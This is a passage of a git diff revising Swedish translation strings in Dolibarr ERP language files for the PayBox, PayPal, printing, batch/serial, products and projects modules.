+NewPartnershipRequest=Ny förfrågan om partnerskap +NewPartnershipRequestDesc=I detta formulär kan du skicka in en fråga och beägra att bli en del av vårt partnerskapsprogram. Om du behöver hjälp med att fylla i detta formulär, vänligen kontakta oss via e-post %s. + diff --git a/htdocs/langs/sv_SE/paybox.lang b/htdocs/langs/sv_SE/paybox.lang index 268e3223cee..420e42034e2 100644 --- a/htdocs/langs/sv_SE/paybox.lang +++ b/htdocs/langs/sv_SE/paybox.lang @@ -1,29 +1,29 @@ # Dolibarr language file - Source file is en_US - paybox -PayBoxSetup=PayBox modul inställning -PayBoxDesc=Denna modul erbjuder sidor för att möjliggöra betalning på Paybox av kunder. Detta kan användas för en kostnadsfri betalning eller en betalning på en viss Dolibarr objekt (faktura, order, ...) -FollowingUrlAreAvailableToMakePayments=Följande webbadresser finns att erbjuda en sida till en kund att göra en förskottsbetalning Dolibarr objekt -PaymentForm=Inbetalningskort -WelcomeOnPaymentPage=Välkommen till vår online betalningstjänst -ThisScreenAllowsYouToPay=Denna skärm tillåter dig att göra en online-betalning till %s. -ThisIsInformationOnPayment=Detta är information om betalning för att göra -ToComplete=För att komplettera -YourEMail=E-post för betalning bekräftelse +PayBoxSetup=Inställningar för PayBox-modulen +PayBoxDesc=Denna modul erbjuder sidor för att tillåta betalning via PayBox för kunder. Detta kan användas för exempelvis en betalning på ett visst Dolibarr-objekt (faktura, order, ...) +FollowingUrlAreAvailableToMakePayments=Följande webbadresser finns att erbjuda en kund för att göra en betalning på Dolibarr-objekt +PaymentForm=Betalningsformulär +WelcomeOnPaymentPage=Välkommen till vår onlinebetalning +ThisScreenAllowsYouToPay=Denna vy låter dig göra en onlinebetalning till %s. +ThisIsInformationOnPayment=Detta är information om betalningen +ToComplete=För att slutföra +YourEMail=E-post för att få betalningsbekräftelse Creditor=Borgenär -PaymentCode=Betalning kod -PayBoxDoPayment=Betala med Paybox -YouWillBeRedirectedOnPayBox=Du kommer att omdirigeras på säkrade Paybox sida för att mata dig kreditkortsinformation +PaymentCode=Betalningskod +PayBoxDoPayment=Betala med PayBox +YouWillBeRedirectedOnPayBox=Du kommer att omdirigeras till PayBox säkra sida där du kan ange ditt kortnummer Continue=Nästa -SetupPayBoxToHavePaymentCreatedAutomatically=Konfigurera din lön med url %s för att ha betalning skapad automatiskt när bekräftat av Paybox. -YourPaymentHasBeenRecorded=Den här sidan bekräftar att din betalning har registrerats. Tack. -YourPaymentHasNotBeenRecorded=Din betalning har INTE registrerats och transaktionen har annullerats. Tack. -AccountParameter=Tagen parametrar -UsageParameter=Användning parametrar +SetupPayBoxToHavePaymentCreatedAutomatically=Konfigurera din PayBox med url %s för att få betalningar automatiskt bekräftade hos PayBox. +YourPaymentHasBeenRecorded=Denna sida bekräftar att din betalning har registrerats. Tack! +YourPaymentHasNotBeenRecorded=Din betalning har INTE registrerats och transaktionen har avbrutits. Tack! +AccountParameter=Kontoparametrar +UsageParameter=Användningsparametrar InformationToFindParameters=Hjälp att hitta din %s kontoinformation -PAYBOX_CGI_URL_V2=URL Paybox CGI-modul för betalning -CSSUrlForPaymentForm=CSS-formatmall URL för inbetalningskort -NewPayboxPaymentReceived=Ny Paybox betalning mottagen -NewPayboxPaymentFailed=Ny Paybox betalnings försök men misslyckats -PAYBOX_PAYONLINE_SENDEMAIL=E-postmeddelande efter betalningsförsök (framgång eller misslyckande) +PAYBOX_CGI_URL_V2=URL till Paybox CGI-modul för betalning +CSSUrlForPaymentForm=CSS-formatmall URL för betalningsformulär +NewPayboxPaymentReceived=Ny PayBox-betalning mottagen +NewPayboxPaymentFailed=Nytt PayBox betalningsförsök har tyvärr misslyckats +PAYBOX_PAYONLINE_SENDEMAIL=E-postmeddelande efter betalningsförsök (lyckat eller misslyckat) PAYBOX_PBX_SITE=Värde för PBX SITE PAYBOX_PBX_RANG=Värde för PBX Rang PAYBOX_PBX_IDENTIFIANT=Värde för PBX-ID diff --git a/htdocs/langs/sv_SE/paypal.lang b/htdocs/langs/sv_SE/paypal.lang index 907c1cff4d3..a5124f3e14c 100644 --- a/htdocs/langs/sv_SE/paypal.lang +++ b/htdocs/langs/sv_SE/paypal.lang @@ -1,36 +1,37 @@ # Dolibarr language file - Source file is en_US - paypal -PaypalSetup=PayPal-modul installation -PaypalDesc=Denna modul tillåter betalning av kunder via PayPal . Detta kan användas för en ad hoc-betalning eller för en betalning relaterad till ett Dolibarr-objekt (faktura, order, ...) -PaypalOrCBDoPayment=Betala med PayPal (kort eler PayPal) +PaypalSetup=Installation av PayPal-modul +PaypalDesc=Denna modul låter dig ta betalt av kunder via PayPal. Detta kan användas vid en direktbetalning eller för betalning relaterad till ett Dolibarr-objekt (faktura, order, ...) +PaypalOrCBDoPayment=Betala med PayPal (kort eller PayPal) PaypalDoPayment=Betala med PayPal -PAYPAL_API_SANDBOX=Läge test / sandlåda +PAYPAL_API_SANDBOX=Testläge/sandlåda PAYPAL_API_USER=API användarnamn -PAYPAL_API_PASSWORD=API-lösenord +PAYPAL_API_PASSWORD=API lösenord PAYPAL_API_SIGNATURE=API signatur PAYPAL_SSLVERSION=Curl SSL Version PAYPAL_API_INTEGRAL_OR_PAYPALONLY=Erbjud "integrerad" betalning (kreditkort + PayPal) eller "PayPal" bara -PaypalModeIntegral=Integral +PaypalModeIntegral=Integrerad PaypalModeOnlyPaypal=PayPal endast ONLINE_PAYMENT_CSS_URL=Valfri URL för CSS-stilarket på betalningssidan för online -ThisIsTransactionId=Detta är id transaktion: %s -PAYPAL_ADD_PAYMENT_URL=Inkludera PayPal-betalningsadressen när du skickar ett dokument via e-post -NewOnlinePaymentReceived=Ny online betalning mottagen -NewOnlinePaymentFailed=Ny onlinebetalning försökte men misslyckades -ONLINE_PAYMENT_SENDEMAIL=E-postadress för meddelanden efter varje betalningsförsök (för framgång och misslyckande) -ReturnURLAfterPayment=Återgå URL efter betalning -ValidationOfOnlinePaymentFailed=Bekräftelse av online betalning misslyckades -PaymentSystemConfirmPaymentPageWasCalledButFailed=Betalningsbekräftelse sidan kallades av betalningssystemet returnerade ett fel -SetExpressCheckoutAPICallFailed=SetExpressCheckout API-samtal misslyckades. -DoExpressCheckoutPaymentAPICallFailed=DoExpressCheckoutPayment API-samtal misslyckades. -DetailedErrorMessage=Detaljerad felmeddelande +ThisIsTransactionId=Detta är id för transaktionen: %s +PAYPAL_ADD_PAYMENT_URL=Inkludera PayPals betalningsadress när du skickar ett dokument via e-post +NewOnlinePaymentReceived=Ny onlinebetalning mottagen +NewOnlinePaymentFailed=Ny onlinebetalning har misslyckats +ONLINE_PAYMENT_SENDEMAIL=E-postadress för meddelanden efter varje betalningsförsök (lyckade och misslyckade) +ReturnURLAfterPayment=Retur-URL efter betalning +ValidationOfOnlinePaymentFailed=Bekräftelse av onlinebetalning misslyckades +PaymentSystemConfirmPaymentPageWasCalledButFailed=Sidan för betalningsbekräftelse returnerade ett fel +SetExpressCheckoutAPICallFailed=SetExpressCheckout API-anrop misslyckades. +DoExpressCheckoutPaymentAPICallFailed=DoExpressCheckoutPayment API-anrop misslyckades. +DetailedErrorMessage=Detaljerat felmeddelande ShortErrorMessage=Kort felmeddelande ErrorCode=Felkod -ErrorSeverityCode=Fel Severity Code -OnlinePaymentSystem=Online betalningssystem -PaypalLiveEnabled=PayPal "live" -läge aktiverat (annars test / sandbox-läge) +ErrorSeverityCode=Fel Allvarlighetskod +OnlinePaymentSystem=Onlinebetalning +PaypalLiveEnabled=PayPal "live" -läge aktiverat (annars test/sandbox-läge) PaypalImportPayment=Importera PayPal-betalningar -PostActionAfterPayment=Posta åtgärder efter betalningar -ARollbackWasPerformedOnPostActions=En återuppringning utfördes på alla Post-åtgärder. Du måste fylla i posthandlingar manuellt om det behövs. -ValidationOfPaymentFailed=Bekräftandet av betalningen har misslyckats +PostActionAfterPayment=Poståtgärder efter betalning +ARollbackWasPerformedOnPostActions=En bakåtrullning utfördes på alla Post-åtgärder. Du måste slutföra åtgärderna manuellt om de behövs. +ValidationOfPaymentFailed=Bekräftelse av betalning har misslyckats CardOwner=Kortinnehavare -PayPalBalance=PayPal Kredit +PayPalBalance=PayPal-krediter +OnlineSubscriptionPaymentLine=Onlineprenumeration registrerad %s
      Betald via %s
      Från IP-adress: %s
      Transaktions-ID:%s diff --git a/htdocs/langs/sv_SE/printing.lang b/htdocs/langs/sv_SE/printing.lang index b9c35d23145..a0b0d610260 100644 --- a/htdocs/langs/sv_SE/printing.lang +++ b/htdocs/langs/sv_SE/printing.lang @@ -3,7 +3,7 @@ Module64000Name=Direktutskrift Module64000Desc=Aktivera direktutskrift PrintingSetup=Ställ in Direktutskrift PrintingDesc=Denna modul lägger till "Skriv ut" knapp i olika moduler för att skriva ut dokumenten direkt till förutbestämd skrivare, utan att öppna dokumentet i en annan applikation -MenuDirectPrinting=One click Printing jobs +MenuDirectPrinting=Snabbutskriftjobb DirectPrint=Direktutskift PrintingDriverDesc=Konfigurationsvariabler för skrivardrivrutin. ListDrivers=Lista över drivrutiner diff --git a/htdocs/langs/sv_SE/productbatch.lang b/htdocs/langs/sv_SE/productbatch.lang index 054285c62e2..790e78d0ec3 100644 --- a/htdocs/langs/sv_SE/productbatch.lang +++ b/htdocs/langs/sv_SE/productbatch.lang @@ -1,45 +1,47 @@ # ProductBATCH language file - Source file is en_US - ProductBATCH -ManageLotSerial=Använd batch/serie-nummer -ProductStatusOnBatch=Ja (tillverkning/serienummer krävs) -ProductStatusOnSerial=Ja (Unikt serienummer krävs) -ProductStatusNotOnBatch=Nej (batch/serie-nummer används ej) -ProductStatusOnBatchShort=Parti -ProductStatusOnSerialShort=Serie +ManageLotSerial=Använd batch/serienummer +ProductStatusOnBatch=Ja (serienummer krävs) +ProductStatusOnSerial=Ja (unikt serienummer krävs) +ProductStatusNotOnBatch=Nej (batch/serienummer används ej) +ProductStatusOnBatchShort=Batch +ProductStatusOnSerialShort=Serienummer ProductStatusNotOnBatchShort=Nej -Batch=Batch/Serie -atleast1batchfield=Bäst före-datum eller Batch/Serie-nummer -batch_number=Batch/Serie-nummer -BatchNumberShort=Batch/Serie +Batch=Batch/serienummer +atleast1batchfield=Bäst före-datum eller batch/serienummer +batch_number=Batch/serienummer +BatchNumberShort=Batch/serienummer EatByDate=Bäst före-datum -SellByDate=Bäst före-datum -DetailBatchNumber=Batch/Serie detaljer -printBatch=Batch/Serie: %s -printEatby=Äter med:%s -printSellby=Sälj-med :%s +SellByDate=Sälj före-datum +DetailBatchNumber=Batch/serie-uppgifter +printBatch=Batch/serie: %s +printEatby=Bäst före:%s +printSellby=Sälj före:%s printQty=Antal: %d -AddDispatchBatchLine=Lägg en linje för Hållbarhet avsändning -WhenProductBatchModuleOnOptionAreForced=När modulen Lot / Serial är på, är automatisk lagerminskning tvungen att "Minska reella lager vid fraktbekräftande" och automatisk ökningsläge är tvungen att "Öka reella lager vid manuell leverans till lager" och kan inte redigeras. Andra alternativ kan definieras som du vill. -ProductDoesNotUseBatchSerial=Denna produkt använder ej batch/serie-nummer -ProductLotSetup=Inställning av batch/serie modul -ShowCurrentStockOfLot=Visa aktuellt lager för sammansatt produkt/parti -ShowLogOfMovementIfLot=Visa statestik för sammansatt produkt/parti -StockDetailPerBatch=Detaljlager för parti -SerialNumberAlreadyInUse=Serienummer %s är redan använt för produkt %s +printPlannedWarehouse=Lager: %s +AddDispatchBatchLine=Lägg en rad för hållbarhetmärkning +WhenProductBatchModuleOnOptionAreForced=När modulen Batch/serienummer är aktiverad är automatisk lagerminskning tvunget att "Minska reella lager vid fraktbekräftande" och automatiskt ökningsläge är tvunget att "Öka reella lager vid manuell leverans till lager" och kan inte redigeras. Andra alternativ kan anges som du vill. +ProductDoesNotUseBatchSerial=Denna produkt använder inte batch/serienummer +ProductLotSetup=Inställningar för modulen batch/serienummer +ShowCurrentStockOfLot=Visa aktuellt lager för sammansatt produkt/batch +ShowLogOfMovementIfLot=Visa statistik för sammansatt produkt/batch +StockDetailPerBatch=Lagerdetaljer för batch +SerialNumberAlreadyInUse=Serienummer %s används redan för produkten %s TooManyQtyForSerialNumber=Du kan bara ha en produkt %s för serienummer %s ManageLotMask=Anpassad mask -CustomMasks=Möjlighet att definiera en annan numreringsmask för varje produkt -BatchLotNumberingModules=Numreringsregel för automatisk generering av partinummer -BatchSerialNumberingModules=Numreringsregel för automatisk generering av serienummer (för produkter med egendom 1 unikt parti / serienummer för varje produkt) -QtyToAddAfterBarcodeScan=Qty to %s for each barcode/lot/serial scanned +CustomMasks=Möjlighet att ange en annan numreringsmask för varje produkt +BatchLotNumberingModules=Numreringsregel för automatisk generering av batchnummer +BatchSerialNumberingModules=Numreringsregel för automatisk generering av serienummer (för produkter med egendom 1 unik batch/serienummer för varje produkt) +QtyToAddAfterBarcodeScan=Antal till %s för varje skannad streckkod/batch/serie LifeTime=Livslängd (i dagar) EndOfLife=Livslängd ManufacturingDate=Tillverkningsdatum -DestructionDate=Raseringsdatum +DestructionDate=Kasseringsdatum FirstUseDate=Första användningsdatum QCFrequency=Kvalitetskontrollsperiod (i dagar) -ShowAllLots=Show all lots -HideLots=Hide lots +ShowAllLots=Visa alla batcher +HideLots=Dölj batcher #Traceability - qc status -OutOfOrder=Ej tillgänglig +OutOfOrder=Ur funktion InWorkingOrder=I fungerande skick -ToReplace=Replace +ToReplace=Byt ut +CantMoveNonExistantSerial=Fel. Du ber om att flytta en post för en serie som inte finns längre. Kan vara så att du tar samma serie på samma lager flera gånger i samma försändelse eller så användes den av en annan försändelse. Ta bort den här försändelsen och förbered en annan. diff --git a/htdocs/langs/sv_SE/products.lang b/htdocs/langs/sv_SE/products.lang index 94f608e7855..84300b73c5e 100644 --- a/htdocs/langs/sv_SE/products.lang +++ b/htdocs/langs/sv_SE/products.lang @@ -44,8 +44,8 @@ ServicesOnPurchaseOnly=Endast tjänster för inköp ServicesNotOnSell=Tjänster som inte är till salu och inte för köp ServicesOnSellAndOnBuy=Tjänster till försäljning och inköp LastModifiedProductsAndServices=Senaste %s produkter / tjänster som modifierades -LastRecordedProducts=Senaste %s inspelade produkterna -LastRecordedServices=Senaste %s inspelade tjänsterna +LastRecordedProducts=Senaste %s registrerade produkterna +LastRecordedServices=Senaste %s registrerade tjänsterna CardProduct0=Produkt CardProduct1=Service Stock=Lager @@ -99,10 +99,10 @@ BuyingPrice=BETALKURS PriceForEachProduct=Produkter med specifika priser SupplierCard=Leverantörskort PriceRemoved=Pris bort -BarCode=Barcode -BarcodeType=Barcode typ +BarCode=Streckkod +BarcodeType=Streckkodstyp SetDefaultBarcodeType=Ställ streckkodstypblock -BarcodeValue=Barcode värde +BarcodeValue=Streckkodsvärde NoteNotVisibleOnBill=Obs (ej synlig på fakturor, förslag ...) ServiceLimitedDuration=Om produkten är en tjänst med begränsad varaktighet: FillWithLastServiceDates=Fyll i de senaste servicelinjen @@ -137,7 +137,8 @@ ConfirmDeleteProductLine=Är du säker på att du vill ta bort denna produktlinj ProductSpecial=Särskilda QtyMin=Min. köpmängd PriceQtyMin=Pris kvantitet min. -PriceQtyMinCurrency=Pris (valuta) för denna mängd. (ingen rabatt) +PriceQtyMinCurrency=Pris (valuta) för detta antal. +WithoutDiscount=Utan rabatt VATRateForSupplierProduct=Momsavgift (för denna leverantör / produkt) DiscountQtyMin=Rabatt för denna mängd. NoPriceDefinedForThisSupplier=Inget pris / antal definierat för denna leverantör / produkt @@ -261,7 +262,7 @@ Quarter1=1:a kvartalet Quarter2=2:a kvartalet Quarter3=3:e kvartalet Quarter4=4:e kvartalet -BarCodePrintsheet=Skriv ut streckkod +BarCodePrintsheet=Skriv ut streckkoder PageToGenerateBarCodeSheets=Med det här verktyget kan du skriva ut ark med streckkodstickor. Välj format på din klistersida, typ av streckkod och värde för streckkod, klicka sedan på knappen %s . NumberOfStickers=Antal etiketter att skriva ut på sidan PrintsheetForOneBarCode=Skriv ut flera etiketter per streckkod @@ -344,9 +345,9 @@ PossibleValues=Möjliga värden GoOnMenuToCreateVairants=Gå på menyn %s - %s för att förbereda attributvarianter (som färger, storlek, ...) UseProductFournDesc=Lägg till en funktion för att definiera produktbeskrivningen som definieras av leverantörerna (för varje leverantörsreferens) utöver beskrivningen för kunderna ProductSupplierDescription=Leverantörsbeskrivning för produkten -UseProductSupplierPackaging=Använd förpackning till leverantörspriser (beräkna kvantiteter enligt förpackning som anges på leverantörspris när du lägger till / uppdaterar rad i leverantörsdokument) +UseProductSupplierPackaging=Använd förpackningar för priser avrundade till multiplar för inköpspriser (beräkna om kvantiteter enligt multiplar som är inställda på inköpspriser när du lägger till/uppdaterar rad i ett leverantörsdokument) PackagingForThisProduct=Förpackning -PackagingForThisProductDesc=Vid leverantörsbeställning kommer du automatiskt att beställa denna kvantitet (eller en multipel av denna kvantitet). Får inte vara mindre än minsta köpkvantitet +PackagingForThisProductDesc=Du kommer automatiskt att köpa en multipel av denna kvantitet. QtyRecalculatedWithPackaging=Mängden av linjen beräknades om enligt leverantörens förpackning #Attributes @@ -398,16 +399,33 @@ ActionAvailableOnVariantProductOnly=Åtgärd endast tillgänglig på varianter a ProductsPricePerCustomer=Produktpriser per kund ProductSupplierExtraFields=Ytterligare attribut (leverantörspriser) DeleteLinkedProduct=Ta bort den underordnade produkten som är länkad till kombinationen -AmountUsedToUpdateWAP=Amount to use to update the Weighted Average Price +AmountUsedToUpdateWAP=Enhetsbelopp som ska användas för att uppdatera det vägda genomsnittspriset PMPValue=Vägda genomsnittliga priset PMPValueShort=WAP mandatoryperiod=Obligatoriska perioder -mandatoryPeriodNeedTobeSet=Note: Period (start and end date) must be defined +mandatoryPeriodNeedTobeSet=Obs! Period (start- och slutdatum) måste definieras mandatoryPeriodNeedTobeSetMsgValidate=En tjänst kräver en start- och slutperiod -mandatoryHelper=Check this if you want a message to the user when creating / validating an invoice, commercial proposal, sales order without entering a start and end date on lines with this service.
      Note that the message is a warning and not a blocking error. +mandatoryHelper=Markera detta om du vill ha ett meddelande till användaren när du skapar / validerar en faktura, kommersiellt förslag, försäljningsorder utan att ange ett start- och slutdatum på rader med denna tjänst.
      Observera att meddelandet är en varning och inte ett blockeringsfel. DefaultBOM=Standard BOM DefaultBOMDesc=Standard BOM som rekommenderas att använda för att tillverka denna produkt. Detta fält kan endast ställas in om produktens natur är '%s'. Rank=Rank -SwitchOnSaleStatus=Switch on sale status -SwitchOnPurchaseStatus=Switch on purchase status -StockMouvementExtraFields= Extra Fields (stock mouvement) +MergeOriginProduct=Dubblettprodukt (produkt du vill ta bort) +MergeProducts=Slå ihop produkter +ConfirmMergeProducts=Är du säker på att du vill slå samman den valda produkten med den nuvarande? Alla länkade objekt (fakturor, beställningar, ...) kommer att flyttas till den aktuella produkten, varefter den valda produkten raderas. +ProductsMergeSuccess=Produkterna har slagits samman +ErrorsProductsMerge=Fel vid produkt sammanslagning +SwitchOnSaleStatus=Ändra försäljningsstatus +SwitchOnPurchaseStatus=Ändra köpstatus +UpdatePrice=Öka/minska kundpriset +StockMouvementExtraFields= Extra fält (lagerrörelse) +InventoryExtraFields= Extra fält (inventering) +ScanOrTypeOrCopyPasteYourBarCodes=Skanna eller skriv eller kopiera/klistra in dina streckkoder +PuttingPricesUpToDate=Uppdatera priser med aktuella kända priser +PMPExpected=Förväntad PMP +ExpectedValuation=Förväntad värdering +PMPReal=Riktig PMP +RealValuation=Verklig värdering +ConfirmEditExtrafield = Välj det extrafält du vill ändra +ConfirmEditExtrafieldQuestion = Är du säker på att du vill ändra detta extrafält? +ModifyValueExtrafields = Ändra värdet för ett extrafält +OrProductsWithCategories=Eller produkter med taggar/kategorier diff --git a/htdocs/langs/sv_SE/projects.lang b/htdocs/langs/sv_SE/projects.lang index 93cfa921123..dbd4eb749d0 100644 --- a/htdocs/langs/sv_SE/projects.lang +++ b/htdocs/langs/sv_SE/projects.lang @@ -1,63 +1,66 @@ # Dolibarr language file - Source file is en_US - projects RefProject=Ref. projekt -ProjectRef=Projekt ref. -ProjectId=Projekt Id +ProjectRef=Projektref. +ProjectId=Projekt ID ProjectLabel=Projektetikett ProjectsArea=Projektområde ProjectStatus=Projektstatus SharedProject=Alla -PrivateProject=Assigned contacts +PrivateProject=Tilldelade kontakter ProjectsImContactFor=Projekt där jag är kontaktperson AllAllowedProjects=Allt projekt jag kan läsa (min + offentliga) AllProjects=Alla projekt MyProjectsDesc=Denna vy är begränsad till projekt du är kontaktperson för -ProjectsPublicDesc=Denna uppfattning presenterar alla projekt du har rätt att läsa. -TasksOnProjectsPublicDesc=Denna vy presenterar alla uppgifter på projekt som du får läsa. -ProjectsPublicTaskDesc=Denna uppfattning presenterar alla projekt och uppgifter som du får läsa. -ProjectsDesc=Denna uppfattning presenterar alla projekt (din användarbehörighet tillåta dig att visa allt). -TasksOnProjectsDesc=Denna vy presenterar alla uppgifter på alla projekt (dina användarbehörigheter ger dig tillstånd att se allt). +ProjectsPublicDesc=Denna vy visar alla projekt du har rätt att läsa. +TasksOnProjectsPublicDesc=Denna vy presenterar alla uppgifter i projekt som du får läsa. +ProjectsPublicTaskDesc=Denna vy visar alla projekt och uppgifter som du får läsa. +ProjectsDesc=Denna vy visar alla projekt (dina rättigheter låter dig se allt). +TasksOnProjectsDesc=Denna vy presenterar alla uppgifter på alla projekt (dina rättigheter låter dig se allt). MyTasksDesc=Denna vy är begränsad till projekt eller uppgifter du är kontaktperson för -OnlyOpenedProject=Endast öppna projekt är synliga (projekt i utkast eller stängt status är inte synliga). +OnlyOpenedProject=Endast öppna projekt är synliga (projekt med statusen utkast eller stängd är inte synliga). ClosedProjectsAreHidden=Avslutade projekt är inte synliga. -TasksPublicDesc=Denna uppfattning presenterar alla projekt och uppgifter som du får läsa. -TasksDesc=Denna uppfattning presenterar alla projekt och uppgifter (din användarbehörighet tillåta dig att visa allt). -AllTaskVisibleButEditIfYouAreAssigned=Alla uppgifter för kvalificerade projekt är synliga, men du kan bara ange tid för uppgift som är tilldelad till vald användare. Tilldela uppgiften om du behöver ange tid på den. -OnlyYourTaskAreVisible=Enbart uppgifter som du är tilldelad är synliga. Om du behöver rapportera tid på en uppgift och uppgiften inte är synlig här, måste du tilldela den till dig själv. -ImportDatasetTasks=Uppgifter av projekt -ProjectCategories=Projektetiketter / kategorier +TasksPublicDesc=Denna vy visar alla projekt och uppgifter som du får läsa. +TasksDesc=Denna vy visar alla projekt och uppgifter (dina rättigheter låter dig se allt). +AllTaskVisibleButEditIfYouAreAssigned=Alla uppgifter för kvalificerade projekt är synliga, men du kan bara ange tid för uppgift som är tilldelad vald användare. Tilldela uppgiften om du behöver ange tid på den. +OnlyYourTaskAreVisible=Enbart uppgifter som du tilldelats är synliga. Om du behöver rapportera tid på en uppgift och uppgiften inte är synlig här, måste du tilldela den till dig själv. +ImportDatasetProjects=Projekt eller möjligheter +ImportDatasetTasks=Uppgifter i projekt +ProjectCategories=Projektetiketter/kategorier NewProject=Nytt projekt AddProject=Skapa projekt -DeleteAProject=Ta bort ett projekt -DeleteATask=Ta bort en uppgift +DeleteAProject=Ta bort projekt +DeleteATask=Ta bort uppgift ConfirmDeleteAProject=Är du säker på att du vill radera detta projekt? ConfirmDeleteATask=Är du säker på att du vill radera den här uppgiften? OpenedProjects=Öppna projekt OpenedTasks=Öppna uppgifter -OpportunitiesStatusForOpenedProjects=Ledar mängd öppna projekt efter status -OpportunitiesStatusForProjects=Ledar mängd projekt med status +OpportunitiesStatusForOpenedProjects=Leads med antal öppna projekt efter status +OpportunitiesStatusForProjects=Leads med antal projekt efter status ShowProject=Visa projekt ShowTask=Visa uppgift -SetProject=Ställ projekt -NoProject=Inget projekt definieras eller ägs +SetThirdParty=Ange tredjepart +SetProject=Ange projekt +OutOfProject=Utanför projektet +NoProject=Inget projekt angivet eller ägs NbOfProjects=Antal projekt NbOfTasks=Antal uppgifter -TimeSpent=Tid som tillbringas -TimeSpentByYou=Tid spenderad av dig -TimeSpentByUser=Tid spenderad av användaren -TimesSpent=Tid -TaskId=UppgiftsID -RefTask=Uppgiftsreferens -LabelTask=Uppgiftsbenämning -TaskTimeSpent=Tid som ägnas åt uppgifter +TimeSpent=Använd tid +TimeSpentByYou=Tid använd av dig +TimeSpentByUser=Tid använd av användare +TimesSpent=Använd tid +TaskId=Uppgifts-ID +RefTask=Uppgiftsref. +LabelTask=Uppgiftsetikett +TaskTimeSpent=Tid använd på uppgifter TaskTimeUser=Användare -TaskTimeNote=Anmärkning +TaskTimeNote=Anteckning TaskTimeDate=Datum -TasksOnOpenedProject=Uppgifter på öppna projekt -WorkloadNotDefined=Arbetsbelastning inte definierad -NewTimeSpent=Tid -MyTimeSpent=Min tid -BillTime=Räkna ut tiden -BillTimeShort=Fakt. tid +TasksOnOpenedProject=Uppgifter i öppna projekt +WorkloadNotDefined=Arbetsbelastning inte angiven +NewTimeSpent=Använd tid +MyTimeSpent=Min använda tid +BillTime=Fakturera använd tid +BillTimeShort=Fakturera tid TimeToBill=Tid inte fakturerad TimeBilled=Tid fakturerad Tasks=Uppgifter @@ -67,68 +70,69 @@ TaskDateEnd=Uppgift slutdatum TaskDescription=Uppgiftsbeskrivning NewTask=Ny uppgift AddTask=Skapa uppgift -AddTimeSpent=Skapa tid spenderad -AddHereTimeSpentForDay=Lägg till här tid för denna dag / uppgift -AddHereTimeSpentForWeek=Registrera tid spenderat på denna vecka/uppgift +AddTimeSpent=Skapa använd tid +AddHereTimeSpentForDay=Lägg till använd tid för denna dag/uppgift +AddHereTimeSpentForWeek=Lägg till använd tid för denna vecka/uppgift Activity=Aktivitet -Activities=Uppgifter / aktiviteter -MyActivities=Mina uppgifter / aktiviteter +Activities=Uppgifter/aktiviteter +MyActivities=Mina uppgifter/aktiviteter MyProjects=Mina projekt -MyProjectsArea=Mina projektområde -DurationEffective=Effektiv längd -ProgressDeclared=Deklarera framgång -TaskProgressSummary=Uppgiftsframsteg -CurentlyOpenedTasks=Just nu aktiva uppgifter -TheReportedProgressIsLessThanTheCalculatedProgressionByX=Den deklarerade verkliga utvecklingen är mindre %s än konsumtionsförloppet -TheReportedProgressIsMoreThanTheCalculatedProgressionByX=Den deklarerade verkliga utvecklingen är mer %s än konsumtionsframstegen -ProgressCalculated=Konsumtionsframsteg -WhichIamLinkedTo=vilka jag är länkade till -WhichIamLinkedToProject=vilka projekt jag är länkade till +MyProjectsArea=Mina projekt +DurationEffective=Effektiv varaktighet +ProgressDeclared=Faktiskt framgång +TaskProgressSummary=Framsteg i uppgifter +CurentlyOpenedTasks=Öppna uppgifter +TheReportedProgressIsLessThanTheCalculatedProgressionByX=Den faktiska framgången är mindre %s än förbrukningen +TheReportedProgressIsMoreThanTheCalculatedProgressionByX=Den faktiska framgången är mer %s än förbrukningen +ProgressCalculated=Framsteg och förbrukning +WhichIamLinkedTo=som jag är länkad till +WhichIamLinkedToProject=där jag är länkad till projekt Time=Tid -TimeConsumed=Konsumerat -ListOfTasks=Lista över uppgifter -GoToListOfTimeConsumed=Gå till listan över tidskrävt +TimeConsumed=Förbrukat +ListOfTasks=Lista med uppgifter +GoToListOfTimeConsumed=Gå till listan över förbrukad tid GanttView=Gantt-vy ListWarehouseAssociatedProject=Lista lager associerade till detta projekt -ListProposalsAssociatedProject=Förteckning över de kommersiella förslagen relaterade till projektet -ListOrdersAssociatedProject=Förteckning över försäljningsorder relaterade till projektet -ListInvoicesAssociatedProject=Förteckning över kundfakturor relaterade till projektet -ListPredefinedInvoicesAssociatedProject=Förteckning över kundmallfakturor relaterade till projektet -ListSupplierOrdersAssociatedProject=Förteckning över inköpsorder relaterade till projektet -ListSupplierInvoicesAssociatedProject=Förteckning över leverantörsfakturor relaterade till projektet -ListContractAssociatedProject=Förteckning över kontrakt relaterade till projektet -ListShippingAssociatedProject=Förteckning över frakt relaterade till projektet -ListFichinterAssociatedProject=Förteckning över interventioner relaterade till projektet -ListExpenseReportsAssociatedProject=Förteckning över kostnadsrapporter relaterade till projektet -ListDonationsAssociatedProject=Förteckning över donationer relaterade till projektet -ListVariousPaymentsAssociatedProject=Förteckning över diverse betalningar relaterade till projektet -ListSalariesAssociatedProject=Förteckning över betalningar av löner relaterade till projektet -ListActionsAssociatedProject=Förteckning över händelser relaterade till projektet -ListMOAssociatedProject=Lista tillverkningsordrar relaterade till detta projekt -ListTaskTimeUserProject=Förteckning över tid som konsumeras på projektets uppgifter +ListProposalsAssociatedProject=Lista över offerter relaterade till projektet +ListOrdersAssociatedProject=Lista över order relaterade till projektet +ListInvoicesAssociatedProject=Lista över fakturor relaterade till projektet +ListPredefinedInvoicesAssociatedProject=Lista över fakturamallar relaterade till projektet +ListSupplierOrdersAssociatedProject=Lista över inköpsorder relaterade till projektet +ListSupplierInvoicesAssociatedProject=Lista över leverantörsfakturor relaterade till projektet +ListContractAssociatedProject=Lista över kontrakt relaterade till projektet +ListShippingAssociatedProject=Lista över försändelser relaterade till projektet +ListFichinterAssociatedProject=Lista över interventioner relaterade till projektet +ListExpenseReportsAssociatedProject=Lista över kostnadsrapporter relaterade till projektet +ListDonationsAssociatedProject=Lista över donationer relaterade till projektet +ListVariousPaymentsAssociatedProject=Lista över diverse betalningar relaterade till projektet +ListSalariesAssociatedProject=Lista över betalningar av löner relaterade till projektet +ListActionsAssociatedProject=Lista över händelser relaterade till projektet +ListMOAssociatedProject=Lista över tillverkningsordrar relaterade till detta projekt +ListTaskTimeUserProject=Lista över tid som använts på projektets uppgifter ListTaskTimeForTask=Lista över tid förbrukad på uppgift ActivityOnProjectToday=Aktivitet på projektet idag ActivityOnProjectYesterday=Aktivitet på projektet igår ActivityOnProjectThisWeek=Aktivitet på projekt den här veckan ActivityOnProjectThisMonth=Aktivitet på projekt denna månad ActivityOnProjectThisYear=Aktivitet på projekt i år -ChildOfProjectTask=Barn av projekt / uppdrag -ChildOfTask=Barn 